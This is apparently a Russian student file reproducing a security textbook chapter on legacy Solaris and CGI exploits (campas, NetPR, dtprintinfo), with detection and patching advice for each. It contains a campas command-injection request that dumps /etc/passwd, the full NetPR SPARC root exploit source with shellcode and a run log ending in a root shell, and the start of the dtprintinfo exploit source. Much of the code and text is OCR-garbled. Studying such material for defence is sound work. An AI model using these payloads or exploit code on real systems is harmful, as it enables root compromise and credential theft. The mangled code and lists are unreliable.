Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
СРС_ИПОВС_МСЗИ.doc
Скачиваний:
41
Добавлен:
05.06.2015
Размер:
1.79 Mб
Скачать

Подробное описание

Сценарий campas можно заставить выполнять любую команду оболочки, если правильно сконструировать строку запроса. В описанном ниже примере взломщик использует сценарий campas для получения содержимого файла /etc/passwd. В данном файле операционные системы UNIX обычно хранят зашифрованные версии паролей пользователей, которые могут быть использованы для восстановления исходных паролей. Этот один из вариантов применения сценария campas для взлома системы.

Комбинация символов %0а является шестнадцатеричным представлением символап ревода каретки в кодировке ASCII. Сценарию campas можно передать такую строку ( /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n.

Если бы в сценарии была предусмотрена проверка правильности форматеров строки аргументов и разрешена обработка только заданных команд и символов, этого эксплоита не существовало бы.

Взломщик может передать строку запроса HTTP GET вручную, подключившись клиентом telnet к Web-серверу или введя URL в строке адреса своего броузера. Посколькус вер не имеет возможности узнать, какая программа подключилась к нему— telnet или броузер, — то после подключения он обрабатывает запрос GET. При этом запускается сценарий campas, которому передается строка аргументов, а результаты возвращаются взломщику.

Способ применения

Ниже приведен пример взлома с помощью клиента telnet.

> telnet 192.168.1.1 80

Trying 192.168.1.1

Connected to somehost.com

Escape character is '^]''

GET /cgi-bin/campas?%0acat%Oa/etc/passwd%Oa HTTP/1'0

<PRE>

root:x:0:1:Super-User:/export/home/root:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

Поскольку протокол HTTP построен на текстовых командах, взломщик может вводить их вручную, даже не пользуясь возможностями броузера. В результате выполнения действий, приведенных выше, сервер перешлет содержимое файла /etc/passwd в формате HTML. После этого соединение будет разорвано.

Симптомы атаки

Поскольку данная атака основывается на использовании обычных НТТР-команд, отслеживание пакетов в сети не поможет выявить факт взлома. Взлом с помощью саmpas выглядит как обычный запрос к Web-серверу. Чтобы обнаружить взлом с помощью campas, нужно обратиться к системным журналам Web-сервера. Расположение и формат записей журнала зависят от типа конкретного сервера. Например, для сервера Араche нужно проводить поиск строки, которая содержит слово campas. Ниже приведена команда, которая позволяет сделать это.

# egrep -i 'campas' {ServerRoot}/logs/access_log

Однако не забывайте, что метод ведения системных журналов напрямую зависит от версии UNIX. Если все действия пользователей протоколируются, приведенный выше ме­тод позволяет определить факт взлома с использованием campas.

Методы защиты

Для того чтобы защититься от взлома с помощью campas, нужно выполнить несколько действий.

Во-первых, Web-сервер никогда не должен запускаться с полномочиями пользователя root. Прочитайте документацию по вашему Web-серверу, и ограничьте права пользователя, от имени которого запускается сервер, до необходимого минимума. Этот пользователь должен иметь только те права, которые необходимы для нормального функционирования Web-сервера, и не более. Кроме того, этот пользователь не должен иметь прав записи в файлы настроек Web-сервера. Это не позволит взломщику отредактировать их таким образом, чтобы сервер запускался от имени суперпользователя. И наконец, Web-сервер не должен иметь прав записи в файлы, которые он обслуживает.

Во-вторых, HTTP-сервер NCSA, с которым поставляется сценарий campas, является устаревшим и более не поддерживается производителем. Для надежной защиты от взлома с помощью campas нужно просто установить новый Web-сервер и убедиться в том, что сценарий campas удален из системы.

Дополнительная информация

Чтобы получить дополнительную информацию по данному вопросу, посетите такие узлы::

  • http://www.geog.ubc.ca/snag/bugtraq/msg00341.html

  • http://www.cert.org/tech_tips/cgi_metacharacters.html

  • http://www.cert.org/advisories/CA-97.25.CGI_metachar.html

NetPR

На момент написания этой книги NetPR был одним из последних методов взлома с переполнением буфера демона печати. В данном эксплоите используется переполнение буфера при выборе опции -р во время запуска программы /usr/lib/lp/bin/netpr для получения доступа с правами пользователя root.

Описание эксплоита

  • Название: Переполнение буфера программы NetPR.

  • Варианты: Отсутствуют.

  • Операционная система: Solaris 2.6, Solaris 7 и Solaris 8.

  • Протоколы/службы: Служба сетевой печати.

  • Автор: Брэнт Хаджес (Brent Hughes).

Подробное описание

NetPR — это модуль печати, который открывает соединение с сетевым принтером или сервером печати, используя протокол печати BSD или удаленный доступ к службе печати через TCP. При этом инструкции печати и данные пересылаются принтеру. В данном эксплоите используются ошибки, допускаемые программой при проверке размера данных, которыми можно воспользоваться с помощью одного из ключей NetPR. При этом данный недостаток не зависит от используемого протокола. Поскольку программа NetPR запускается от имени пользователя root, взломщик может получить полномочия суперпользователя.

Варианты

У данного эксплоита не существует непосредственных модификаций, однако в службах печати ОС Solaris было найдено несколько ошибок, связанных с переполнением буфера. Например, переполнение буфера может возникнуть при выполнении команд 1р -d и lpset -r. Эти ошибки описаны в разделе ошибок Sun на узле http: / /www. security focus. com.

Данный метод взлома по сути ничем не отличается от остальных методов взлома с переполнением буфера. Эксплоит NetPR является типичным примером взлома с переполнением буфера, и поэтому понимание того, как он работает, поможет разобраться в остальных методах, использующих переполнение буфера.

Чтобы читатель понял, насколько распространен данный метод, ниже приведен список эксплоитов Solaris, использующих переполнение буфера. Данный список узлов взят из списка рассылки BugTraq.

2000-05-2e:

2000-05-12:

;;oo-o^-ri:

2000-04-24:

looo-oa-zq:

2000-01-06:

1999-12-l-0:

1999-12-09:

1999-12-07:

l-999-11--30:

ity

1999-09-l-3:

1999-09-13:

abilitY

1999-09-12:

1999-07-13:

1999-06-09:

1999-05-22:

1999-05-18:

1999-05-11:

1999-05-10:

1999-03-05:

Xlockmore 4.16 Buffer Overflow Vulnerability

Solaris netpr Buffer Overflow Vulnerability

Solaris lp -d Option Buffer Overflow Vulnerability

Solaris lpset -r Buffer Overflow Vulnerability

solaris Xsun Buffer Overrun Vulnerability

Solaris chkperm Buffer Overflow Vulnerability

Solaris sadmind Buffer Overflow Vulnerability

soraris snoop (GErQYolll-?:t-.-ar Buffer Overflow Vulnerability

Solaris snoop (print_domain_name) Buffer Overflow Vulnerability

Multiple Vendor CDE dtmail/mailtool Buffer Overflow Vulnerabil-

MuItiPle Vendor CDE TT-SESSION Buffer overfIow VulnerabilitY MuItiPfe v"taot cDE dt;ction Userflag Buffer Overflow Vulner-

Solaris';;;e;;";;;.cn'sa /usr/bin/mail -m Local Buffer overflow vulnerability

Multiple Vendor rpc.cmsd Buffer Overflow Vulnerability

MuftiPle ";;;;; autornounto VurnerabilitY

MultiPle vendor Lc-MESSAGES libc Buffer Overflow vurnerabilitv

Solar.Is Iibx11 vulnerabilities

Solaris lpset Buffer overfrow vurnerabiritv

Solaris dtprintinfo Buffer Overflow Vulnerability

Sofaris cancel VulnerabiIitY

Принцип работы

При запуске программы ее адресное пространство делится на три части: код программы, данные программы и стек. Стек — это область хранения переменных и параметров программы, обычно он находится в верхней части адресного пространства выделенной памяти. Поскольку переполнение буфера происходит именно в стеке, для начала давайте разберемся в том, как он работает. Стек работает по принципу очереди LIFO (Last In First Out — первым вошел, последним обслужен). Это означает, что если переменные 1, 2 и 3 были помещены в стек в порядке, соответствующем их номерам, то первой будет извлечена переменная 3, затем переменная 2, а затем 1. На большинстве компьютеров стек располагается в верхней части адресного пространства используемой программой памяти и растет в направлении уменьшения адресов. Для отслеживания его нижней части по мере того, как переменные извлекаются из стека или помещаются в стек, используется указатель стека.

Стек используется программами для хранения переменных, принадлежащих подпрограммам, для обмена параметрами с подпрограммами и для хранения адресов возврата из подпрограмм. Допустим, программа вызывает функцию и передает ей три параметра. Для этого параметры помещаются в стек в обратном порядке, после чего вызывается функция. В начале стека находится параметр №3, далее параметр №2 и затем параметр №1. За параметром №1 находится адрес инструкции, которая вызывает данную функцию. После запуска функции стек увеличится, поскольку в нем будут храниться переменные функции. В результате стек примет приблизительно такой вид:

Параметр №3 Параметр №2 Параметр №1 Адрес возврата Локальная переменная №1 Локальная переменная №2 Локальная переменная №3 Локальная переменная №4

После завершения выполнения функции стек очищается и выполнение программы пе­реходит по адресу, указанному в поле Адрес возврата.

Допустим, что в этом примере Локальная переменная №2 была объявлена как 100-символьная строка, однако в нее была записана 150-символьная строка. Тогда произойдет переполнение и запись излишних данных в переменную Локальная переменная №1, а возможно, даже в Адрес возврата. Если Адрес возврата будет изменен, выполнение программы продолжится не по тому адресу, из которого была вызвана функция. Вместо этого выполнение программы продолжится из той точки, адрес которой будет находится в переменной Адрес возврата. Если переполнение было случайным, скорее всего про­изойдет сбой в выполнении программы.

Таким образом, весь трюк заключается в поиске программ, которые не проверяют длину передаваемых параметров, перед тем как помещать их в стек. После этого остается точно подобрать значение переменной, которая приводит к переполнению с тем, чтобы в Адрес возврата был помещен нужный адрес. По этому адресу должна находиться про­грамма, производящая взлом. В результате, когда функция попытается вернуться в глав­ную программу, произойдет переход по адресу программы, которая выполняет взлом. Проще всего поместить эту программу в переменную, которая приводит к переполнению. Если в предыдущем примере Локальная переменная №2 не проверялась на переполне­ние, то в результате взлома стек примет такой вид:

Параметр N'3

Параметр №2

Параметр №1

Указатель на локальную переменную №2

Программа взлома

Программа взлома

Локальная переменная №3

Локальная переменная №4

Это приведет к тому, что программа взлома будет запущена с теми же полномочиями, что и основная программа. Если программа была запущена от имени пользователя root, программа взлома также будет иметь права суперпользователя. Чаще всего такая программа запускает командную оболочку, которая позволит выполнять команды от имени суперпользователя.

Теоретически взлом с переполнением буфера очень прост. Однако на практике существует несколько трудностей.

Первая проблема заключается в размере кода. В переменной не хватит места для команд оболочки или С. Код программы взлома должен быть написан на ассемблере. Более того, поскольку используется символьный буфер, его конец отмечается символом NDIi поэтому в программе не должно быть команд, которые содержат нулевой байт (ОхОО). Так как запуск оболочки является распространенной целью нападающего при взломе с пе полнением буфера, довольно легко найти готовые программы на ассемблере, зап щие оболочку. В эксплоите NetPR используется программа, ориентированная на ОС Sоlaris на платформе х86 или SPARC.

Вторая проблема возникает, если злоумышленник не имеет доступа к исходному коду программы, которая взламывается. Спрогнозировать точное строение стека на основе; ичного кода программы почти невозможно. Однако существуют способы обойти и эту проблему. Взломщику нужно узнать адрес буфера, который нужно переполнить, и расположить адреса возврата в стеке. Если буфер достаточно большой, взломщик может просто подби размер программы взлома, заполняя ее инструкциями, не выполняющими никаких действий. Эти инструкции называются NOP (no operation) и должны быть помещены в начало программы взлома. Такие инструкции используются для создания пауз в работе процессора и приводят к тому, что процессор переходит к выполнению следующей инструкции. Если поместить 100 инструкций NOP в начало программы, то они займут 100 байт, что увеличит вероятность попадания в 100 раз. В конце программы взлома можно поместить инструкцию перехода в область NOP, которая находится в начале. Таким образом, размер области памяти, в которую должна попасть программа, значительно увеличится. Часто взломщик должен переполнить буфер размером более 1024 байт. Поскольку рабочая часть кода редко превыа 100 байт, нужно использовать довольно большое количество инструкций NOP чтобы заметно увеличить вероятность попадания в адрес возврата.

Стек, в котором находится программа взлома, будет выглядеть приблизительно так:

Параметр №3

Переход назад на хх байт

Переход назад на хх байт

Переход назад на хх байт (Здесь был адрес возврата)

Переход назад на хх байт

Переход назад на хх байт

Программа взлома ( длиной менее хх байт) ( длиной менее хх байт) ( длиной менее хх байт)

Программа взлома

Программа взлома

NOP

NOP

NOP

NOP

NOP

NOP

NOP

Локальная переменная №3

Локальная переменная №4

Эксплоит NetPR использует эти принципы для взлома системы с помощью команды /usr/lib/lp/bin/netpr -p под ОС Solaris. После переполнения буфера запускае командная оболочка. О применении описанных здесь принципов будет рассказано в следующем разделе. За дополнительной информацией о методах переполнения буфера обратитесь к главе "Переполнение буфера".

Способ применения

Чтобы воспользоваться этим эксплоитом, взломщик должен просто откомпилирован исходный код программы (gcc netprex.c -о netprex) и запустить ее. По умолчана производится подключение к локальному компьютеру, используется смещение в 1600 и выравнивание в 1. Смещение добавляется к указателю стека, чтобы угадать адрес возврата в переменной, передаваемой с -р. В комментариях к программе рекомендуется использовать значение от 960 до 2240 с шагом 8, если значение по умолчанию не дает результатов. Выравнивание используется для точного позиционирования первой инструкции NOP в буфере и может быть равно 0, 1, 2 или 3. Выравнивание используется по той причине, что обычная инструкция NOP заменена другой, 4-байтовой, инструкцией, чтобы избежать присутствия символа NULL в строчном буфере. Если бы было возможно использование 1-байтовой инструкции NOP, выравнивание было бы не нужно.

Если на локальном компьютере не запущена служба печати через порт TCP 515, можно вызвать программу с ключом -h и задать имя удаленного компьютера, на котором запуще­на служба печати. Указанный компьютер не будет взломан, он только отметит обращение к несуществующему принтеру. Это обычная реакция служб печати под ОС Solaris. Такие настройки используются при установке по умолчанию.

После тестирования этого метода на разных платформах и операционных системах, стало очевидно, что данный эксплоит не работает на Sparc 20 (sun4m) под управлением ОС Solaris 2.6, независимо от комбинации параметров. Однако некоторые размеры сме­щений с выравниванием в 3 сработали на Ultrasparc (sun4u) под Solaris 2.6 и Solaris 7. Был создан сценарий, который позволял быстро перебирать разные комбинации параметров, несли взлом срабатывал, сценарий останавливался и передавал управление оболочке.

Ниже приведен пример использования данного эксплоита для смещения по умолчанию и разных значений выравнивания.

palm{hughes}698: ./netprex -a 0

%sp OxffbefO88 offset 1600 a return address 0xffbef6c8 [0]

Segmentation Fault

palmfhughes}698: ./netprex -a 1

%sp 0xffbef088 offset 1600 a return address 0xffbef6c8 [1]

Segmentation Fault

palm(hughes)698: ./netprex -a 2

%sp 0xffbef088 offset 1600 a return address 0xffbef6c8 [2]

Illegal Instruction

paim{hughes}699: ./netprex -a 3

*sp OxffbefO8O offset 1600 a return address Oxffbef6cO [3]

#

Симптомы атаки

По умолчанию программа подключается к локальному компьютеру, поэтому она не создает сетевого трафика. Команда ps покажет, что запущена командная оболочка /bin/sh от имени пользователя root, однако обычный сеанс работы пользователя root будет выглядеть точно так же. Таким образом, факт взлома может быть замечен только в том случае, если суперпользователь не запускает оболочку на данной машине. Кроме того, можно использовать команду ps и проверить идентификаторы процессов, которые запускали оболочку суперпользователя. Например, приведенные ниже строки вывода команды /usr/bin/ps -ef выглядят несколько подозрительно, поскольку идентификатор родительского процесса (parent process ID — PPID) указывает на то, что оболочка пользователя root была запущена пользователем guest, которому пароль суперпользователя не предоставлялся.

UID

GID

PPID

0

STIME

TTY

TIME

CMD

guest

3390

3388

0

13:07:06

pts/14

0:00

-CSh

root

3384

3390

0

13:31:15

pts/14

0:00

/bin/sh

Если же программа подключается не к локальному, а к удаленному компьютеру, атаку можно обнаружить, анализируя сетевой трафик. При этом программа tcpdump не даст никаких результатов, поскольку заголовки пакетов, пересылаемых программой взлома не отличаются от обычных. Однако если запустить программу snoop под Solaris, результат будет таким:

palm -> ironwood I-^''''nart -> oalm

palm -> ironwood palm -> ironwood ironwood -> palm ironwood -> palm

ironwood -> palm

palm -> j-ronwood oarm -) ironwooi

PRINTER C port=1021 PRINTER R port=1021 PRTNTER c Port=1021 PRTNTER c Port=1021 PRTNTER R Port=102r pnrNren n pott=iOii ironwood: /usr/Iib/l

PRINTER R port=1021 PRINTER C port=1021 PRTNTER c port=1021

Программа взлома запускается на компьютере palm и обращается к удаленному компыотеру ironwood, на котором выполняется служба печати. Если запустить snoop в режиме подробного вывода результатов, сообщение в шестом пакете будет таким: /us r/lib/lpd: f : Command line too long\n. Она появится в результате переполнения буфера с помощью длинного параметра, который передается программе lpd. Это означает, что задано имя принтера длиной более 1024 символов, что крайне подозрительно. Таким образом, однозначно засечь факт взлома можно только в том случае, если взлом проводится удаленно. Значит, данный метод является не очень надежным средством защиты.

Методы защиты

Компания Sun выпустила несколько заплат, предотвращающих использование данного1 эксплоита и поставляемых только контрактным покупателям ОС Solaris:

м Solaris 8.0-x86 - patch 109321-01

  • Solaris 8.0 -Patch l-09320-01

  • Solaris 7.O-xB6 -patch 1071-16-04

  • Solaris ?.0 -Patch 107115-04

  • Solaris 2.6-x85 -Patch 106236-05

  • Solaris 2.6 -Patch 106235-05

Кроме того, можно снять бит setuid с файла /usr/lib/bin/netpr и полностью исключить использование данного эксплоита, однако это приведет к утере некоторых возможностей сетевой печати.

Переполнение буфера плохо заметно, и часто его крайне сложно обнаружить. При установке по умолчанию ОС Solaris 2.6 содержит более 60 программ, которые запускались от имени суперпользователя. ОС Solaris 7 устанавливает еще больше программ с полномочиями суперпользователя. Переполнение буфера в любой из этих программ может привести к тому, что взломщик получит полномочия суперпользователя на сервере.

Администратор должен точно знать, какие заплаты выпущены на данный момент, i нако это не гарантирует полной защиты от взлома с помощью переполнения буфера. Нужно также внимательно следить за новостями, касающимися методов и программ i ма, например с помощью списка BugTraq. Код эксплоита NetPR был написан почти за год до того, как о нем стало известно широкой общественности.

Следует внимательно изучить все программы, запускаемые с полномочиями суперпользователя, и решить, какие из них вам действительно необходимы. В остальных программах бит suid должен быть снят в целях предотвращения взлома. Это прямое потверждение необходимости принципа ограничения полномочий.

Кроме того, косвенным методом защиты от взлома с переполнением буфера являе защита от удаленного взлома. Многие программы взлома с помощью переполнения требуют наличия локальной учетной записи. Эксплоит NetPR входит в число этих программ. Таким образом, надежная защита локальных учетных записей позволяет значитель: уменьшить вероятность взлома с помощью NetPR и подобных эксплоитов.

Исходный код

Исходный код данного эксплоита можно найти по адресу: www. securityf ocus . com в архивах списка BugTraq, или в базе данных уязвимостей. Ниже приведен исходный код программы, написанный под архитектуру SPARC.

netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr Tested and confirmed under Solaris 2.6 and 7 (SPARC) Usage: % netprex -h hostname [-o offset] [-a alignment]

where hostname is the name of any reachable host running the printer service on TCP port 515 (such as "localhost" perhaps), offset is the number of bytes to add to. the %sp stack pointer to calculate the desired return address, and alignment is the number of bytes needed to correctly align the first NOP inside the exploit buffer.

When the exploit is run, the host specified with the -h option will receive a connection from the netpr program to a nonsense printer name, but the host will be otherwise untouched. The offset parameter and the alignment parameter have default values that will be used if no overriding values are specified on the command line. In some situations the default values will not work correctly and should be overridden on the command line. The offset value should be a multiple of 8 and should lie reasonably close to the default value; try adjusting the value by -640 to 640 from the default value in increments of 64 for starters. The alignment value should be set to either 0, 1, 2, or 3. In order to function correctly, the final return address should not contain any null bytes, so adjust the offset appropriately to counteract nulls should any arise.

Cheez Whiz / ADM cheezbeast@hotmail.com

May 23, 1999

/♦ Copyright (c) 1999 ADM */ /* All Rights Reserved */

/♦ THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */ /* The copyright notice above does not evidence any */ /* actual or intended publication of such source code. */

#define BUFLEN 1087 ♦define NOPLEN 932 «define ADDRLEN 80

♦define OFFSET 1600 /* default offset */ ♦define ALIGNMENT 1 /* default alignment */

♦define NOP 0x801bc00f /* xor %o7,%o7,%gO */

♦include <stdio.h>

♦include <errno.h>

♦include <stdlib.h>

♦include <string.h>

♦include <unistd.h>

char shell[] =

/* setuid: */

/* 0 */ "\x90\xlb\xc0\x0f"

/* 4 */ "\x82\xl0\x20\xl7"

xor %o7,%o7,%oO */ mov 23,%gl */

/*

8 *

/ "

/*

alarm:

/*

1L

*r

/*

16

*/

/*

20

*/

/*

execve

/*

24

*/

/*

28

*/

/*

32

*/

i*

36

*l

/*

40

*/

/*

44

*i

/*

48

*/

i*

52

*/

/*

56

*l

/*

60

*/

/*

64

*/

/*

68

*/

\x91\xd0\x20\x082

*/

"\x90\xlb\xc0\x0f "\x82\xl0\x20\xlb' "\x91\xdO\x20\xO8' : */

"\x2d\x0b\xd8\x9a' "\xac\xl5\xal\x6e' "\x2f\x0b\xdc\xda' "\x90\x0b\x80\x0e( "\x92\x03\xaO\x081 "\x94\xlb\xc0\x0f "\x9c\x03\xaO\xlO "\xec\x3b\xbf\xfO "\xdO\x23\xbf\xf8 "\xcO\x23\xbf\xfc "\x82\xl0\x20\x3b "\x91\xd0\x20\x08

/* Ea I */

■ /* xor %o7,%o7,%oO */ ' /* mov 27,%gl */

/* ta 8 */

' /* sethi %hi(0x2f62696e),%16 */

' /* or %16,%lo(0x2f62696e),%16 */

1 /* sethi %hi(0x2f736800),%17 */

1 /* and %sp,%sp,%oO */

' /* add %sp,8,%ol */

' /* xor %o7,%o7,%o2 */

' /* add %sp,16,%sp */

' /* std %16,[%sp-16] */

1 /* st %o0,[%sp-8] */

' /* st %g0,[%sp-4] */

' /* mov 59,%gl */

'; /* ta 8 */

extern char *oPtarg;

rnsigned long ]nE

get_sP()

{

asm "or 6sP, ?sP, ii0");

ini

main(int argc, char *argvLl)

{

ttnsign"d rong int sP' addr;

int ;, i, offset' aliqnment;

char *progran" -hostnime' buflBUFLEN+Il ' *cp;

Droqram = argvIC] I io"i.t"^u = "localhost"; offset = OFFSET; alignment = ALIGNMEI']T;

while ((c = getopt(argc' argv' "h:o:a:")) l= EoF) i switch (c) t case 'h':

hostnarne = oPtargi

break; case 'o':

offset = {int) strtor (optarg' }'luLL' 0);

break; case 'a':

alignment = iint) strtol(optarg' 5911' c);

break; default:

fprintf(stderr''ii]--uirg"^"tttl "usage: %s -h hostname [-o f-ooffi^'] "[-a alignment]\n", program);

exit(1);

break;

memset(buf, '\xff, BUFLEN);

= buf

for (i =0, cp =

*^n++ = (NOP >> 24)

*^^++!H. = (NoP » 16)

*^n++ = (NOP » 8)

*^n++ = iNoP r)' 0)

+ Tll*.""., i < NoPLEN / 4; !++)

& Oxff;

& uxrr; & Oxff; ы C>:ff;

l"^.o,(cP, she11, strren (sherr));

sp = get_sp(); addr = sp + offset; addr &= 0xfffffff8; for (i =0, cp = buf + BUFLEN - ADDRLEN; i < ADDRLEN / 4; i++) { *cp++ = (addr >> 24) & Oxff; *cp++ = (addr >> 16) & Oxff; *cp++ = (addr » 8) & Oxff; *cp++ = (addr >> 0) & Oxff; }

buf[BUFLEN] = '\0';

fprintf(stdout, "%%sp 0x%081x offset %d -> return address 0x%081x [%d]\n\

sp, offset, addr, alignment); execle("/usr/lib/lp/bin/netpr", "netpr", 11-I", "ADM-ADM",

11-U'

"-P' 11-d'

"ADM!ADM",

buf,

hostname,

"bsd",

"/etc/passwd", NULL, NULL);

fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno)) exit(1);

На основе материала, изложенного в разделе "Принцип работы", объясним, как работает данная программа.

В начале программы задаются значения по умолчанию и подключаются библиотеки, необходимые для компиляции программы. После этого объявляется символьный массив shell, в который помещается программа запуска оболочки. Это машинный код программы взлома — именно она записывается в стеки вызывает оболочку /bin/sh. После объявления данной переменной следует функция get_sp (). Эта функция написана на ассемблере и находит текущий указатель стека. Данная функция находит адрес начала стека перед вызовом программы NetPR, что позволяет более точно предугадать положение переменной -р в памяти.

Главная программа производит анализ опций командной строки и определяет необходимые для работы переменные. Далее производится заполнение программы взлома инструкциями, аналогичными NOP, которые не содержат символа NOLL. Эти инструкции просто выполняют операцию логического ИЛИ над содержимым регистра и помещают результат в регистр 0. Регистр 0 — это специальный регистр, всегда содержащий 0, а значит, управление просто перейдет следующей команде. После этого программа заполняет конец буфера адресами возврата, которые выбираются в соответствии с результатами работы функции get_sp (). Затем дописывается символ конца строки NULL (\0) и выводится информация о параметрах, которая помогает провести диагностику. После этого запускается программа /usr/lib/lp/bin/netpr с ключом -р и строчным параметром, в котором находится программа взлома. Данная программа будет помещена в стек.

Дополнительная информация

Наиболее детальное описание методов переполнения буфера с примерами кода и описаниями программ на ассемблере можно найти в архивах Phrack, том 7. выпуск 49 по адресу: http://phrack.infonexus.com в статье "Smashing Stack for Fun and Profit" (Разрушение стека ради развлечения или выгоды), которая написана одним из лучших специалистов по переполнению буфера, известным под псевдонимом Aleph One. Примеры приведены для ОС Linux на платформе х86, однако приведенные концепции можно перенести и на другие платформы.

DTprintinfo

Утилита DTprintinfo обычно используется для запуска в среде CDE и позволяет получить информацию о настройке очередей печати. Для данной программы установлен атрибут setuid, а значит, любой пользователь, который запускает эту программу, имеет те же права, что и суперпользователь. Таким образом, если обойти ограничения, налагаемые на информацию, передаваемую с помощью ключа -р, можно запускать команды от имени суперпользователя. Приведенный ниже пример позволяет взломщику запустить командную оболочку от имени суперпользователя.

Описание эксплоита

  • llassaflue: Взлом Dtprintinfo.

  • LlgenrnSurcaroP CVE: CVE 1999-0806 (BugTraq ID 249)'

  • Варианты: Схожие эксплоиты существуют для Solaris 2.6 и Solaris 7 для платформы Intel.

  • Операционная система: Solaris 2.6 и Solaris 7 для платформы Sparc.

  • Протоколы/службы: Локальная ошибка при проверке размера данных в команде

dtPrintinfo'

■ Anrop: Стивен Сайпс (Steven Sipes)'

Описание протокола и программы

Современные версии ОС Solaris включают в себя набор утилит печати. В числе этих утилит есть CDE-приложение, которое называется dtprintinfo (см. рис 14.3). Данная программа используется для управления задачами печати и слежения за ними.

Программа dtprintinfo разработана для работы с установленным битом setuid. Это означает, что поскольку владельцем данного приложения является пользователь root, любой пользователь, запустивший ее, наследует права суперпользователя (владель­ца приложения).

Другие версии

Варианты программы существуют в связи с тем, что различные программы содержат ошибки при проверке размера передаваемых данных. Подобный эксплоит может приме­няться против Solaris 2.6 и Solaris 7 для платформы Intel с использованием такой же про­граммы dtprintinfо.

Принцип работы

Этот эксплоит основывается на ошибках, возникающих при проверке границ буфера. В данном случае это эксплоит с переполнением буфера. Эксшюиты с переполнением бу­фера можно также разделить на сетевые и локальные. Dtprintinf о является локальным эксплоитом. Для получения дополнительной информации о переполнении буфера обра­титесь к главе 7.

Чтобы воспользоваться данной ошибкой, нужно запустить бинарный файл dtprintinf о и нарушить ограничения, налагаемые на размер переменной, которая передается с опцией -р. Опция -р позволяет вам указать имя очереди принтера, который вас интересует. Так же как и в предыдущем эксплоите, передаваемый аргумент содержит некоторое количество команд NOP, код взлома и адреса возврата, которые указывают на программу взлома. Программа взлома мо­жет содержать любые команды, однако в данном примере просто вызывается оболочка /bin/sh. Поскольку код взлома записан в шестнадцатеричной форме, чтобы разобраться в том, как он работает и какие команды выполняет, необходимо преобразовать его в команды ас­семблера. Командная оболочка вызывается по той причине, что это наиболее простой способ узнать о том, что взлом прошел успешно. Поскольку dtprintinf о является suid-программой и код взлома выполняется от имени суперпользователя, запущенная командная оболочка унас­ледует все права владельца программы — пользователя root. Таким образом, взломщик сможет получить командную оболочку с полномочиями суперпользователя.

Способ применения

Ниже приведен минимальный перечень условий, необходимых для успешного взлома.

  • На компьютере жертвы должна быть установлена ОС Solaris 2.6 или Solaris 7 SPARC без каких-либо заплат.

  • Взломщик должен иметь учетную запись на этом компьютере.

  • Должен быть установлен компилятор языка С (компилятор не обязателен на компью­ тере жертвы, достаточно иметь под рукой такой же компьютер с той же версией ОС).

  • Наличие CDE. (Приложения CDE, в том числе и dtprintinfo, должны быть уста­ новлены на компьютере жертвы. Наличие CDE на компьютере взломщика не обяза­ тельно, однако он должен иметь возможность запуска Х-приложений.)

Кроме того, для dtprintinfo должен быть установлен бит suid. Ниже приведены результаты выполнения команд компиляции и использования данного эксплоита.

Необходимо, чтобы перед запуском программы была правильно установлена перемен­ная DISPLAY, поскольку программа взлома будет пытаться производить вывод прямо в ок­но приложения dtprintinfo.

Симптомы атаки

Удаленные атаки можно засечь с помощью средств IDS (Intrusion Detection Systemсистемы обнаружения вторжений). Однако локальный взлом не оставляет следов в сети и поэтому невидим для средств IDS. Следовательно, наиболее надежным способом обнаружения таких взломов является регулярная проверка содержимого файлов журнала. Если вы заметите пропуски в файлах журнала, нужно внимательнее присмотреться к системе, чтобы выявить признаки подозрительной активности в ней.

Методы защиты

Предлагаются два практических и один теоретический метод защиты от этого взлома.

Решение №1

Компания Sun решила эту проблему напрямую и выпустила заплату, которая, кроме всего прочего, предотвращает взлом с помощью dtprintinf о. В соответствии с информацией, находящейся на узле SunSolve, вы должны установить заплату ID 107219-01 или! более позднюю для Solaris 7 либо заплату ID 106437-02 или более позднюю для Solaris 2.6.1 На рис. 14.7 приведены результаты запуска эксплоита dtprintinfo для Solaris 2.6 после] установки заплаты 106437-02. Как показано на рис. 14.8, результаты выполнения видны! прямо в окне программы. После запуска dtprintinfo окно программы не пропадает, а] его нижняя часть заполняется бессмысленными символами.

Решение №2

Второй способ заключается в проверке подлинности пользователя root. Одной из] программ, которая делает это, является eTrust от компании Computer Associates] (http://www.ca.com/etrust). После настройки данной программы вы можете запре-1 тить выполнение команд от имени пользователя root, если команда не внесена в ( данных разрешенных команд. На рис. 14.9. приведен результат попытки запуска програм-j мы взлома после установки и настройки eTrust.

Как видно на рисунке, подсистема eTrust просто уничтожает процесс, запускаемый отI имени пользователя root, таким образом защищая систему от взлома. Однако стоит обратить! внимание на другую сторону медали. Данное приложение можно настроить таким образом, что! любая попытка запустить программу с атрибутом suid (например, /bin/passwd) будет пресе-1 чена. Таким образом, приложение eTrust должно настраиваться очень внимательно.

Решение №3

На конференции DefCon 8 Тим Лоулес (Tim Lawless) представил доклад под названием "Проект Saint Jude". Тим создал динамически загружаемый модуль ядра, который отсле­живал неавторизированную передачу полномочий. В случае переполнения буфера задача снимается. Стоит обратить внимание, что Saint Jude на момент написания данной книги был только в бета-версии, а документацию по нем найти не удалось. Кроме того, на кон­ференции Тим упоминал о том, что модуль ядра написан только под Linux и Solaris.

Исходный код/псевдокод

Исходный код данного эксплоита можно найти во многих местах. Вариант, использо­ванный в данной книге, можно скачать с узла AntiOnline.

■ Solaris 7:

http://www.AnciOnline.com/c/s.dI I/anticode/file.p1?fi1e=solaris-expioits/27/dtprintinfo. c

■ Solaris 2.6:

http://www.AnLiOnl-ine.com/cgi-bin/anticode/fiIe.pl?f iIe=solaris-exploits/2 6,/dtprintinfo. c

Исходный код поставляется с описанием работы каждого раздела программы. Чтобы облегчить чтение книги, комментарии были удалены, а каждая строка была пронумерова­на, чтобы ссылаться на нее в описании.

1.#define ADJUST 0

2.#define OFFSET 1744

3.*define STARTADR 124

4.#define BUFSIZE 900

5.#define NoP 0xa61cc013

В строках 1-5 определяются некоторые константы, которые будут использованы в программе. Константы OFFSET и BUFADDR получить сложнее всего. Они задают положе­ние кода в стеке и его смещение относительно адреса возврата. В строке 5 находится ин­струкция NOP, которой заполняется стек.

6.static char x[1000J;

В строке 6 объявляется массив, в котором будет находиться программа взлома.

7.unsigned ]ong retadr,' 8.int i;

